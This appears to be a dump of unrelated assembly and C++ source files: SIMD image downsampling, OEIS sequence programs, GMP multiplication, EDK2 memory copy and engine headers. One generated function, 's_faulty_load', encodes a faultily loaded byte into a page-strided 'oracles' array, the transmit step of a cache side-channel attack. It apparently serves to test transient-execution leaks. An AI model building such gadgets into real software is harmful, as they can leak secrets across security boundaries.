vpermq ymm_xfrac0, ymm_tmp0, 01001110b
vpermq ymm_xfrac1, ymm_xfrac1, 01001110b
vmovdqa ymm_xfrac0_begin, ymm_xfrac0
vmovdqa ymm_xfrac1_begin, ymm_xfrac1
vpcmpeqw ymm_tmp0, ymm_tmp0, ymm_tmp0
vpmullw ymm_tmp0, ymm_tmp0, ymm_xfrac_inc
vpunpcklwd ymm_tmp0, ymm_tmp0, ymm_xfrac_inc
vmovdqa ymm_xfrac_inc, ymm_tmp0
AVX2_GeneralBilinearDownsampler_loop AVX2_GeneralBilinearAccurateDownsample_16px, 0
.final_row:
mov p_src_row0, i_ypos
shr p_src_row0, 15
imul p_src_row0, i_src_stride
add p_src_row0, p_src
mov i_xpos, 1 << 15
mov i_width_cnt, i_dst_width
.final_row_width:
mov r_tmp0, i_xpos
shr r_tmp0, 16
movzx r_tmp0, byte [p_src_row0 + r_tmp0]
mov [p_dst], r_tmp0b
add p_dst, 1
add i_xpos, i_scalex
sub i_width_cnt, 1
jg .final_row_width
.done:
vzeroupper
%ifdef X86_32
mov esp, [esp]
%endif
POP_XMM
LOAD_7_PARA_POP
%ifndef X86_32
%ifdef WIN64
pop rsi
pop rdi
%endif
pop rbp
pop rbx
pop r13
pop r12
%endif
ret
%undef p_dst
%undef i_dst_stride_less_width
%undef i_dst_width
%undef i_dst_height
%undef p_src
%undef i_src_stride
%undef i_scalex
%undef i_scalexd
%undef i_scaleyd
%undef i_xpos
%undef i_ypos
%undef i_yposd
%undef p_src_row0
%undef p_src_row1
%undef i_width_cnt
%undef r_tmp0
%undef r_tmp0b
%undef ymm_xpos_frac
%undef ymm_xpos_frac_inc
%undef ymm_xpos_int
%undef ymm_xpos_int_inc
%undef ymm_yfrac0
%undef ymm_yfrac1
%undef xmm_tmp0
%undef ymm_tmp0
%undef xmm_tmp1
%undef ymm_tmp1
%undef xmm_tmp2
%undef ymm_tmp2
%undef xmm_tmp3
%undef ymm_tmp3
%undef xmm_tmp4
%undef ymm_tmp4
%undef xmm_tmp5
%undef ymm_tmp5
%undef ymm_0
%undef ymm_7fff
%undef ymm_xpos_int_begin
%undef ymm_xpos_frac_begin
%undef ymm_xfrac0
%undef ymm_xfrac1
%undef ymm_xfrac0_begin
%undef ymm_xfrac1_begin
%undef ymm_xfrac_inc
%endif
|
; A010370: a(n) = binomial(2*n, n)^2 / (1-2*n).
; 1,-4,-12,-80,-700,-7056,-77616,-906048,-11042460,-139053200,-1796567344,-23696871744,-317933029232,-4326899214400,-59605244280000,-829705000377600,-11654762427179100,-165021757273414800,-2353088020380174000,-33764531705178120000,-487222192505720271600,-7066379009674800129600,-102958894165757625028800,-1506430701026397008928000,-22125700921325206068630000,-326115131019596477286751296,-4822258653360778678932494016,-71520247681943400653797154048,-1063681234657474555641932163520,-15860359907972331662009309548800,-237059512757826450574832480056064,-3551205770719739419849415590933504,-53309702253421713244067594202958812,-801848414059731554580190259912273040
mov $1,1
sub $1,$0
sub $1,$0
mov $2,1
sub $2,$1
bin $2,$0
pow $2,2
div $2,$1
mov $0,$2
|
dnl Alpha ev6 nails mpn_mul_1.
dnl Copyright 2002, 2005, 2006 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 3 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C EV4: 42
C EV5: 18
C EV6: 3.25
C TODO
C * Reroll loop for 3.0 c/l with current 4-way unrolling.
C * The loop is overscheduled wrt loads and wrt multiplies, in particular
C umulh.
C * Use FP loop count and multiple exit points, that would simplify feed-in lp0
C and would work since the loop structure is really regular.
C INPUT PARAMETERS
define(`rp',`r16')
define(`up',`r17')
define(`n', `r18')
define(`vl0',`r19')
define(`numb_mask',`r6')
define(`m0a',`r0')
define(`m0b',`r1')
define(`m1a',`r2')
define(`m1b',`r3')
define(`m2a',`r20')
define(`m2b',`r21')
define(`m3a',`r22')
define(`m3b',`r23')
define(`acc0',`r25')
define(`acc1',`r27')
define(`ul0',`r4')
define(`ul1',`r5')
define(`ul2',`r4')
define(`ul3',`r5')
define(`rl0',`r24')
define(`rl1',`r24')
define(`rl2',`r24')
define(`rl3',`r24')
define(`t0',`r7')
define(`t1',`r8')
define(`NAIL_BITS',`GMP_NAIL_BITS')
define(`NUMB_BITS',`GMP_NUMB_BITS')
dnl This declaration is munged by configure
NAILS_SUPPORT(1-63)
ASM_START()
PROLOGUE(mpn_mul_1)
sll vl0, NAIL_BITS, vl0
lda numb_mask, -1(r31)
srl numb_mask, NAIL_BITS, numb_mask
and n, 3, r25
cmpeq r25, 1, r21
bne r21, L(1m4)
cmpeq r25, 2, r21
bne r21, L(2m4)
beq r25, L(0m4)
L(3m4): ldq ul3, 0(up)
lda n, -4(n)
ldq ul0, 8(up)
mulq vl0, ul3, m3a
umulh vl0, ul3, m3b
ldq ul1, 16(up)
lda up, 24(up)
lda rp, -8(rp)
mulq vl0, ul0, m0a
umulh vl0, ul0, m0b
bge n, L(ge3)
mulq vl0, ul1, m1a
umulh vl0, ul1, m1b
srl m3a,NAIL_BITS, t0
addq t0, r31, acc1
srl m0a,NAIL_BITS, t0
addq t0, m3b, acc0
srl acc1,NUMB_BITS, t1
br r31, L(ta3)
L(ge3): ldq ul2, 0(up)
mulq vl0, ul1, m1a
umulh vl0, ul1, m1b
srl m3a,NAIL_BITS, t0
ldq ul3, 8(up)
lda n, -4(n)
mulq vl0, ul2, m2a
addq t0, r31, acc1
umulh vl0, ul2, m2b
srl m0a,NAIL_BITS, t0
ldq ul0, 16(up)
mulq vl0, ul3, m3a
addq t0, m3b, acc0
srl acc1,NUMB_BITS, t1
br r31, L(el3)
L(0m4): lda n, -8(n)
ldq ul2, 0(up)
ldq ul3, 8(up)
mulq vl0, ul2, m2a
umulh vl0, ul2, m2b
ldq ul0, 16(up)
mulq vl0, ul3, m3a
umulh vl0, ul3, m3b
ldq ul1, 24(up)
lda up, 32(up)
mulq vl0, ul0, m0a
umulh vl0, ul0, m0b
bge n, L(ge4)
srl m2a,NAIL_BITS, t0
mulq vl0, ul1, m1a
addq t0, r31, acc0
umulh vl0, ul1, m1b
srl m3a,NAIL_BITS, t0
addq t0, m2b, acc1
srl acc0,NUMB_BITS, t1
br r31, L(ta4)
L(ge4): srl m2a,NAIL_BITS, t0
ldq ul2, 0(up)
mulq vl0, ul1, m1a
addq t0, r31, acc0
umulh vl0, ul1, m1b
srl m3a,NAIL_BITS, t0
ldq ul3, 8(up)
lda n, -4(n)
mulq vl0, ul2, m2a
addq t0, m2b, acc1
srl acc0,NUMB_BITS, t1
br r31, L(el0)
L(2m4): lda n, -4(n)
ldq ul0, 0(up)
ldq ul1, 8(up)
lda up, 16(up)
lda rp, -16(rp)
mulq vl0, ul0, m0a
umulh vl0, ul0, m0b
bge n, L(ge2)
mulq vl0, ul1, m1a
umulh vl0, ul1, m1b
srl m0a,NAIL_BITS, t0
addq t0, r31, acc0
srl m1a,NAIL_BITS, t0
addq t0, m0b, acc1
srl acc0,NUMB_BITS, t1
br r31, L(ta2)
L(ge2): ldq ul2, 0(up)
mulq vl0, ul1, m1a
umulh vl0, ul1, m1b
ldq ul3, 8(up)
lda n, -4(n)
mulq vl0, ul2, m2a
umulh vl0, ul2, m2b
srl m0a,NAIL_BITS, t0
ldq ul0, 16(up)
mulq vl0, ul3, m3a
addq t0, r31, acc0
umulh vl0, ul3, m3b
srl m1a,NAIL_BITS, t0
ldq ul1, 24(up)
lda up, 32(up)
lda rp, 32(rp)
mulq vl0, ul0, m0a
addq t0, m0b, acc1
srl acc0,NUMB_BITS, t1
bge n, L(el2)
br r31, L(ta6)
L(1m4): lda n, -4(n)
ldq ul1, 0(up)
lda up, 8(up)
lda rp, -24(rp)
bge n, L(ge1)
mulq vl0, ul1, m1a
umulh vl0, ul1, m1b
srl m1a,NAIL_BITS, t0
addq t0, r31, acc1
and acc1,numb_mask, r28
srl acc1,NUMB_BITS, t1
stq r28, 24(rp)
addq t1, m1b, r0
ret r31, (r26), 1
L(ge1): ldq ul2, 0(up)
mulq vl0, ul1, m1a
umulh vl0, ul1, m1b
ldq ul3, 8(up)
lda n, -4(n)
mulq vl0, ul2, m2a
umulh vl0, ul2, m2b
ldq ul0, 16(up)
mulq vl0, ul3, m3a
umulh vl0, ul3, m3b
srl m1a,NAIL_BITS, t0
ldq ul1, 24(up)
lda up, 32(up)
lda rp, 32(rp)
mulq vl0, ul0, m0a
addq t0, r31, acc1
umulh vl0, ul0, m0b
srl m2a,NAIL_BITS, t0
mulq vl0, ul1, m1a
addq t0, m1b, acc0
srl acc1,NUMB_BITS, t1
blt n, L(ta5)
L(ge5): ldq ul2, 0(up)
br r31, L(el1)
ALIGN(16)
L(top): mulq vl0, ul0, m0a C U1
addq t0, m0b, acc1 C L0
srl acc0,NUMB_BITS, t1 C U0
stq r28, -24(rp) C L1
C
L(el2): umulh vl0, ul0, m0b C U1
and acc0,numb_mask, r28 C L0
unop C U0
unop C L1
C
unop C U1
addq t1, acc1, acc1 C L0
srl m2a,NAIL_BITS, t0 C U0
ldq ul2, 0(up) C L1
C
mulq vl0, ul1, m1a C U1
addq t0, m1b, acc0 C L0
srl acc1,NUMB_BITS, t1 C U0
stq r28, -16(rp) C L1
C
L(el1): umulh vl0, ul1, m1b C U1
and acc1,numb_mask, r28 C L0
unop C U0
lda n, -4(n) C L1
C
unop C U1
addq t1, acc0, acc0 C L0
srl m3a,NAIL_BITS, t0 C U0
ldq ul3, 8(up) C L1
C
mulq vl0, ul2, m2a C U1
addq t0, m2b, acc1 C L0
srl acc0,NUMB_BITS, t1 C U0
stq r28, -8(rp) C L1
C
L(el0): umulh vl0, ul2, m2b C U1
and acc0,numb_mask, r28 C L0
unop C U0
unop C L1
C
unop C U1
addq t1, acc1, acc1 C L0
srl m0a,NAIL_BITS, t0 C U0
ldq ul0, 16(up) C L1
C
mulq vl0, ul3, m3a C U1
addq t0, m3b, acc0 C L0
srl acc1,NUMB_BITS, t1 C U0
stq r28, 0(rp) C L1
C
L(el3): umulh vl0, ul3, m3b C U1
and acc1,numb_mask, r28 C L0
unop C U0
unop C L1
C
unop C U1
addq t1, acc0, acc0 C L0
srl m1a,NAIL_BITS, t0 C U0
ldq ul1, 24(up) C L1
C
lda up, 32(up) C L0
unop C U1
lda rp, 32(rp) C L1
bge n, L(top) C U0
L(end): mulq vl0, ul0, m0a
addq t0, m0b, acc1
srl acc0,NUMB_BITS, t1
stq r28, -24(rp)
L(ta6): umulh vl0, ul0, m0b
and acc0,numb_mask, r28
addq t1, acc1, acc1
srl m2a,NAIL_BITS, t0
mulq vl0, ul1, m1a
addq t0, m1b, acc0
srl acc1,NUMB_BITS, t1
stq r28, -16(rp)
L(ta5): umulh vl0, ul1, m1b
and acc1,numb_mask, r28
addq t1, acc0, acc0
srl m3a,NAIL_BITS, t0
addq t0, m2b, acc1
srl acc0,NUMB_BITS, t1
stq r28, -8(rp)
ALIGN(16)
L(ta4): and acc0,numb_mask, r28
addq t1, acc1, acc1
srl m0a,NAIL_BITS, t0
addq t0, m3b, acc0
srl acc1,NUMB_BITS, t1
stq r28, 0(rp)
unop
ALIGN(16)
L(ta3): and acc1,numb_mask, r28
addq t1, acc0, acc0
srl m1a,NAIL_BITS, t0
addq t0, m0b, acc1
srl acc0,NUMB_BITS, t1
stq r28, 8(rp)
unop
ALIGN(16)
L(ta2): and acc0,numb_mask, r28
addq t1, acc1, acc1
srl acc1,NUMB_BITS, t1
stq r28, 16(rp)
and acc1,numb_mask, r28
addq t1, m1b, r0
stq r28, 24(rp)
ret r31, (r26), 1
EPILOGUE()
ASM_END()
|
; A052898: 2*n! + 1.
; 3,3,5,13,49,241,1441,10081,80641,725761,7257601,79833601,958003201,12454041601,174356582401,2615348736001,41845579776001,711374856192001,12804747411456001,243290200817664001,4865804016353280001,102181884343418880001,2248001455555215360001,51704033477769953280001,1240896803466478878720001,31022420086661971968000001,806582922253211271168000001,21777738900836704321536000001,609776689223427721003008000001,17683523987479403909087232000001,530505719624382117272616960000001,16445677308355845635451125760000001,526261673867387060334436024320000001
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
mul $0,2
add $0,1
|
; A147536: A counting vertex substitution vector matrix Markov 2x2 with characteristic polynomial:12 - 7 x + x=^2
; 5,16,52,172,580,1996,7012,25132,91780,340876,1284772,4902892,18902980,73486156,287567332,1131137452,4467154180,17696429836,70269158692,279526952812,1113458765380
mov $1,4
mov $2,4
pow $2,$0
lpb $0
sub $0,1
mul $1,3
lpe
add $1,$2
mul $1,4
sub $1,5
mul $1,343
div $1,4
sub $1,1286
div $1,343
add $1,5
mov $0,$1
|
; A117673: a(n) is the least k such that k*2*prime(n) + 1 is prime.
; 1,1,1,2,1,2,3,5,1,1,5,2,1,2,3,1,6,3,2,4,2,2,1,1,2,3,3,3,5,1,2,1,3,2,4,3,5,2,7,1,1,3,1,2,9,2,5,6,12,6,1,1,3,1,3,3,4,3,2,1,3,1,2,3,3,13,3,5,3,5,7,1,3,2,6,6,12,3,4,2,1,5,1,2,5,1,4,15,3,6,3,4,2,1,2,3,1,16,5,9
seq $0,6093 ; a(n) = prime(n) - 1.
seq $0,34693 ; Smallest k such that k*n+1 is prime.
add $0,1
div $0,2
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; CopyMem.nasm
;
; Abstract:
;
; CopyMem function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemCopyMem (
; IN VOID *Destination,
; IN VOID *Source,
; IN UINTN Count
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemCopyMem)
ASM_PFX(InternalMemCopyMem):
push rsi
push rdi
mov rsi, rdx ; rsi <- Source
mov rdi, rcx ; rdi <- Destination
lea r9, [rsi + r8 - 1] ; r9 <- Last byte of Source
cmp rsi, rdi
mov rax, rdi ; rax <- Destination as return value
jae .0 ; Copy forward if Source > Destination
cmp r9, rdi ; Overlapped?
jae @CopyBackward ; Copy backward if overlapped
.0:
xor rcx, rcx
sub rcx, rdi ; rcx <- -rdi
and rcx, 15 ; rcx + rsi should be 16 bytes aligned
jz .1 ; skip if rcx == 0
cmp rcx, r8
cmova rcx, r8
sub r8, rcx
rep movsb
.1:
mov rcx, r8
and r8, 15
shr rcx, 4 ; rcx <- # of DQwords to copy
jz @CopyBytes
movdqa [rsp + 0x18], xmm0 ; save xmm0 on stack
.2:
movdqu xmm0, [rsi] ; rsi may not be 16-byte aligned
movntdq [rdi], xmm0 ; rdi should be 16-byte aligned
add rsi, 16
add rdi, 16
loop .2
mfence
movdqa xmm0, [rsp + 0x18] ; restore xmm0
jmp @CopyBytes ; copy remaining bytes
@CopyBackward:
mov rsi, r9 ; rsi <- Last byte of Source
lea rdi, [rdi + r8 - 1] ; rdi <- Last byte of Destination
std
@CopyBytes:
mov rcx, r8
rep movsb
cld
pop rdi
pop rsi
ret
|
; A197194: Binomial(n+9, 9)*9^n
; 1,90,4455,160380,4691115,118216098,2659862205,54717165360,1046465787510,18836384175180,322102169395578,5270762771927640,83014513657860330,1264374900327411180,18694686026269579590,269203478778281946096,3785673920319589866975,52108688079693178168950,703467289075857905280825,9330197728795589059514100,121759080360782437226659005,1565473890352917050057044350,19853055245839266225723426075,248594778730509072739493335200,3076360386790049775151230023100,37654651134310209247851055482744,456200581050296765887426249117860,5474406972603561190649114989414320,65106340067035209874505546124106020,767805803549173854382099888773939960
mov $1,9
pow $1,$0
mov $2,9
add $2,$0
bin $2,$0
mul $1,$2
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x13e7c, %r12
nop
sub %r13, %r13
movb $0x61, (%r12)
nop
xor %r9, %r9
lea addresses_UC_ht+0x7930, %r14
cmp %rax, %rax
movl $0x61626364, (%r14)
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x1d458, %r13
nop
nop
nop
and %rax, %rax
mov (%r13), %r14w
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x2058, %r12
nop
sub $62772, %r8
movw $0x6162, (%r12)
and $31763, %rax
lea addresses_UC_ht+0x28f8, %rax
nop
nop
add $48375, %r14
mov $0x6162636465666768, %r9
movq %r9, (%rax)
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_normal_ht+0x2458, %rsi
lea addresses_D_ht+0xc758, %rdi
and $601, %r8
mov $86, %rcx
rep movsl
nop
nop
inc %r14
lea addresses_normal_ht+0xad58, %rsi
nop
nop
nop
nop
xor %r13, %r13
movb $0x61, (%rsi)
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_A_ht+0x17a08, %rsi
lea addresses_WT_ht+0x67f, %rdi
nop
nop
nop
add $14657, %r8
mov $64, %rcx
rep movsb
nop
cmp %rax, %rax
lea addresses_D_ht+0x1c1d8, %r13
nop
nop
nop
sub $32510, %rsi
movups (%r13), %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
nop
inc %rax
lea addresses_UC_ht+0x1b978, %r9
clflush (%r9)
nop
nop
nop
xor %rcx, %rcx
movups (%r9), %xmm4
vpextrq $0, %xmm4, %rax
cmp $42496, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rbp
push %rbx
push %rdx
// Store
mov $0x4c22160000000f58, %r9
nop
nop
nop
nop
nop
sub $8233, %r14
movl $0x51525354, (%r9)
nop
xor %rbp, %rbp
// Store
lea addresses_D+0x2158, %rdx
xor %r11, %r11
mov $0x5152535455565758, %rbx
movq %rbx, (%rdx)
and %r9, %r9
// Faulty Load
lea addresses_normal+0x19c58, %r9
nop
nop
nop
nop
cmp $4605, %r14
movb (%r9), %bl
lea oracles, %r9
and $0xff, %rbx
shlq $12, %rbx
mov (%r9,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
#ifndef RBX_BUILTIN_SYMBOL_HPP
#define RBX_BUILTIN_SYMBOL_HPP
#include "builtin/object.hpp"
#include "type_info.hpp"
namespace rubinius {
class String;
class Hash;
class Tuple;
/* Symbols are immediate types, but instances of a Symbol are created
* via SymbolTable::lookup, which is normally accessed through
* state->lookup.
*/
class Symbol : public Object {
public:
const static object_type type = SymbolType;
static Symbol* from_index(size_t index) {
return (Symbol*)APPLY_SYMBOL_TAG(index);
}
native_int index() const;
// Ruby.primitive :symbol_s_eqq
static Object* is_symbol(STATE, Object* obj) {
return obj->symbol_p() ? Qtrue : Qfalse;
}
// Ruby.primitive :symbol_index
Integer* index(STATE);
static void init(STATE);
static Symbol* from_index(STATE, size_t index);
// Ruby.primitive :symbol_to_s
String* to_str(STATE);
// Return the char* for the text that was symbolized
const char* c_str(STATE) const;
// Ruby.primitive :symbol_all_symbols
static Array* all_symbols(STATE);
// Ruby.primitive :symbol_is_ivar
Object* is_ivar_p(STATE);
// Ruby.primitive :symbol_is_cvar
Object* is_cvar_p(STATE);
// Ruby.primitive :symbol_is_constant
Object* is_constant_p(STATE);
class Info : public TypeInfo {
public:
Info(object_type type, bool cleanup = false) : TypeInfo(type, cleanup) { }
virtual void mark(Object*, ObjectMark& mark);
virtual void show(STATE, Object* self, int level);
virtual void show_simple(STATE, Object* self, int level);
virtual void auto_mark(Object* obj, ObjectMark& mark) {}
};
};
}
#endif
|
#include "stdafx.h"
#include "..\..\Shared\BoneDef.h"
#include "Exporter.h"
#include "MeshExpUtility.h"
CBoneDef::CBoneDef(INode* pNode)
{
parent = 0;
pBone = pNode;
name = Helper::ConvertSpace(string(pBone->GetName()));
matInit.identity();
matOffset.identity();
}
LPCSTR CBoneDef::GetParentName()
{
INode* node=pBone->GetParentNode();
if (Helper::IsBone(node,U.m_SkinAllowDummy)) return node->GetName();
return 0;
}
BOOL CBoneDef::SetInitTM(IPhysiqueExport* pExport, const Matrix3& matMesh)
{
BOOL bErr = false;
R_ASSERT(pBone);
R_ASSERT(Helper::IsBone(pBone,U.m_SkinAllowDummy));
Matrix3 tmp;
//Log("SetInitTM:",pBone->GetName());
if(Helper::IsBipedBone(pBone)) {
Helper::SetBipedUniform(pBone, TRUE, TRUE);
bErr = CGINTM(pBone,pExport->GetInitNodeTM(pBone, tmp));
if (bErr) tmp.IdentityMatrix();
Helper::SetBipedUniform(pBone, FALSE, FALSE);
} else {
bErr = CGINTM(pBone,pExport->GetInitNodeTM(pBone, tmp));
if (bErr) tmp.IdentityMatrix();
}
if (1){//!bErr){
Helper::ConvertMatrix(tmp,matInit);
matOffset.invert(matInit);
//S matMesh
// pBone->matOffset = matMesh * Inverse(pBone->matInit);
}
return 1;//!bErr;
}
|
/*
* All or portions of this file Copyright(c) Amazon.com, Inc.or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution(the "License").All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file.Do not
* remove or modify any license notices.This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
#include "StdAfx.h"
#include <CloudGemFrameworkEditorModule.h>
#include <CloudGemFrameworkEditorSystemComponent.h>
#include <IGem.h>
namespace CloudGemFramework
{
CloudGemFrameworkEditorModule::CloudGemFrameworkEditorModule()
: CloudGemFrameworkModule()
{
// Push results of [MyComponent]::CreateDescriptor() into m_descriptors here.
m_descriptors.insert(m_descriptors.end(), {
CloudGemFrameworkEditorSystemComponent::CreateDescriptor(),
});
}
/**
* Add required SystemComponents to the SystemEntity.
*/
AZ::ComponentTypeList CloudGemFrameworkEditorModule::GetRequiredSystemComponents() const
{
auto returnList = CloudGemFrameworkModule::GetRequiredSystemComponents();
returnList.push_back(azrtti_typeid<CloudGemFrameworkEditorSystemComponent>());
return returnList;
}
}
// DO NOT MODIFY THIS LINE UNLESS YOU RENAME THE GEM
AZ_DECLARE_MODULE_CLASS(CloudGemFrameworkEditorModule, CloudGemFramework::CloudGemFrameworkEditorModule)
|
; A324914: a(n) = Sum_{k=1..n} 2^k * tau(k), where tau(k) = A000005(k).
